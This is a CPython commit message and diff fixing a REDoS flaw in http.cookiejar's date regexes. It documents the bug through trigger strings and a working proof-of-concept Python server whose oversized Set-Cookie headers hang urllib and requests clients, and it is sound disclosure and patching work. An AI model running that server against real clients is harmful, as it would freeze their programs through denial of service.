bpo-38804: Fix REDoS in http.cookiejar (GH-17157)
The regex http.cookiejar.LOOSE_HTTP_DATE_RE was vulnerable to regular
expression denial of service (REDoS).
LOOSE_HTTP_DATE_RE.match is called when using http.cookiejar.CookieJar
to parse Set-Cookie headers returned by a server.
Processing a response from a malicious HTTP server can lead to extreme
CPU usage and execution will be blocked for a long time.
The regex contained multiple overlapping \s* capture groups.
Ignoring the ?-optional capture groups the regex could be simplified to
\d+-\w+-\d+(\s*\s*\s*)$
Therefore, a long sequence of spaces can trigger bad performance.
Matching a malicious string such as
LOOSE_HTTP_DATE_RE.match("1-c-1" + (" " * 2000) + "!")
caused catastrophic backtracking.
The fix removes ambiguity about which \s* should match a particular
space.
You can create a malicious server which responds with Set-Cookie headers
to attack all python programs which access it e.g.
from http.server import BaseHTTPRequestHandler, HTTPServer
def make_set_cookie_value(n_spaces):
spaces = " " * n_spaces
expiry = f"1-c-1{spaces}!"
return f"b;Expires={expiry}"
class Handler(BaseHTTPRequestHandler):
def do_GET(self):
self.log_request(204)
self.send_response_only(204) # Don't bother sending Server and Date
n_spaces = (
int(self.path[1:]) # Can GET e.g. /100 to test shorter sequences
if len(self.path) > 1 else
65506 # Max header line length 65536
)
value = make_set_cookie_value(n_spaces)
for i in range(99): # Not necessary, but we can have up to 100 header lines
self.send_header("Set-Cookie", value)
self.end_headers()
if __name__ == "__main__":
HTTPServer(("", 44020), Handler).serve_forever()
This server returns 99 Set-Cookie headers. Each has 65506 spaces.
Extracting the cookies will pretty much never complete.
Vulnerable client using the example at the bottom of
https://docs.python.org/3/library/http.cookiejar.html :
import http.cookiejar, urllib.request
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
r = opener.open("http://localhost:44020/")
The popular requests library was also vulnerable without any additional
options (as it uses http.cookiejar by default):
import requests
requests.get("http://localhost:44020/")
* Regression test for http.cookiejar REDoS
If we regress, this test will take a very long time.
* Improve performance of http.cookiejar.ISO_DATE_RE
A string like
"444444" + (" " * 2000) + "A"
could cause poor performance due to the 2 overlapping \s* groups,
although this is not as serious as the REDoS in LOOSE_HTTP_DATE_RE was.diff --git a/Lib/http/cookiejar.py b/Lib/http/cookiejar.py
index adc7ed6..47ed5c3 100644
--- a/Lib/http/cookiejar.py
+++ b/Lib/http/cookiejar.py
@@ -214,10 +214,14 @@
(?::(\d\d))? # optional seconds
)? # optional clock
\s*
- ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+)? # timezone
+ (?:
+ ([-+]?\d{2,4}|(?![APap][Mm]\b)[A-Za-z]+) # timezone
\s*
- (?:\(\w+\))? # ASCII representation of timezone in parens.
- \s*$""", re.X | re.ASCII)
+ )?
+ (?:
+ \(\w+\) # ASCII representation of timezone in parens.
+ \s*
+ )?$""", re.X | re.ASCII)
def http2time(text):
"""Returns time in seconds since epoch of time represented by a string.
@@ -287,9 +291,11 @@
(?::?(\d\d(?:\.\d*)?))? # optional seconds (and fractional)
)? # optional clock
\s*
- ([-+]?\d\d?:?(:?\d\d)?
- |Z|z)? # timezone (Z is "zero meridian", i.e. GMT)
- \s*$""", re.X | re. ASCII)
+ (?:
+ ([-+]?\d\d?:?(:?\d\d)?
+ |Z|z) # timezone (Z is "zero meridian", i.e. GMT)
+ \s*
+ )?$""", re.X | re. ASCII)
def iso2time(text):
"""
As for http2time, but parses the ISO 8601 formats: